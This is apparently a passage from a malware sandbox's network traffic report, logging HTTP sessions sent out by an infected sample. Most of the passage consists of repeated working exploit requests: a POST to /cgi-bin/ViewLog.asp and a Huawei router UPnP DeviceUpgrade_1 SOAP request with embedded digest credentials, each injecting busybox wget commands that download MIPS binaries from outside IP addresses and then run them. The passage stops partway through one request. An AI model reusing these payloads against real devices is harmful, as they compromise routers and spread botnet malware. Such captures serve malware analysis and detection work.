                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:03.572243929 CET579INHTTP/1.1 403 Forbidden
                                                Date: Thu, 23 Nov 2023 04:29:16 GMT
                                                Server: Netscape
                                                Keep-Alive: timeout=15, max=99
                                                Connection: Keep-Alive
                                                Transfer-Encoding: chunked
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 31 32 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 48 31 3e 0a 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 2f 63 67 69 2d 62 69 6e 2f 56 69 65 77 4c 6f 67 2e 61 73 70 0a 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 50 3e 0a 3c 48 52 3e 0a 3c 41 44 44 52 45 53 53 3e 4e 65 74 73 63 61 70 65 2f 42 69 61 6c 6c 2d 4e 65 74 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 41 44 44 52 45 53 53 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a
                                                Data Ascii: 123<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>403 Forbidden</TITLE></HEAD><BODY><H1>Forbidden</H1>You don't have permission to access /cgi-bin/ViewLog.aspon this server.<P><HR><ADDRESS>Netscape/Biall-Net Server at 192.168.0.14 Port 80</ADDRESS></BODY></HTML>0


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                278192.168.2.154857431.45.145.888080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:02.266793966 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.535885096 CET280INHTTP/1.1 404 Not Found
                                                Server: PsiOcppApp
                                                Connection: keep-alive
                                                Date:Thu, 23 Nov 2023 4:20:59 GMT
                                                Content-Length: 0
                                                Access-Control-Allow-Credentials: true
                                                Access-Control-Allow-Origin: http://192.168.0.14


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                279192.168.2.155531485.241.149.1878080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:02.745920897 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:02.956569910 CET481INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:21:13 GMT
                                                X-Frame-Options: SAMEORIGIN
                                                Vary: Accept-Encoding
                                                Content-Encoding: gzip
                                                Content-Length: 189
                                                Connection: close
                                                Content-Type: text/html; charset=iso-8859-1
                                                Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 4e cb 0e 82 30 10 bc f3 15 2b 77 59 34 1e 9b 1e 78 18 49 50 89 c1 03 c7 62 9b 40 82 14 db ad c6 bf b7 c0 c9 cb 24 b3 33 3b 33 6c 93 5d d3 ba a9 72 38 d5 e7 12 aa 7b 52 16 29 84 5b c4 22 af 8f 88 59 9d ad ca 3e 8a 11 f3 4b c8 03 d6 d1 73 e0 ac 53 42 7a 42 3d 0d 8a 1f e2 18 12 21 e1 a6 5e 4e 59 62 b8 9e 03 86 8b 8d b5 5a 7e e7 cf 1d ff 73 79 1e b0 89 37 da 19 68 8d fe 58 65 c0 aa 91 40 80 59 93 80 3a 41 1e 7a eb 05 f3 f6 fa 43 bb 41 c2 a8 09 dc 28 95 b1 24 46 19 b1 d6 00 fa 2c 9c 66 58 da 7c f5 bc 33 f8 01 ce 5b 1b f3 e2 00 00 00
                                                Data Ascii: UN0+wY4xIPb@$3;3l]r8{R)["Y>KsSBzB=!^NYbZ~sy7hXe@Y:AzCA($F,fX|3[


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                280192.168.2.153767231.200.35.298080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:02.768754959 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                281192.168.2.155616031.136.129.778080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:04.669898987 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:05.243222952 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:06.395292044 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:08.923238039 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:13.531028032 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:22.746783018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:41.690332890 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:18.553427935 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                282192.168.2.154418294.187.110.1898080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:04.701787949 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                283192.168.2.155684094.121.114.1688080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:05.072551012 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                284192.168.2.1550660156.253.46.14937215
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:21:05.641300917 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:07.291168928 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:09.243222952 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:13.275019884 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
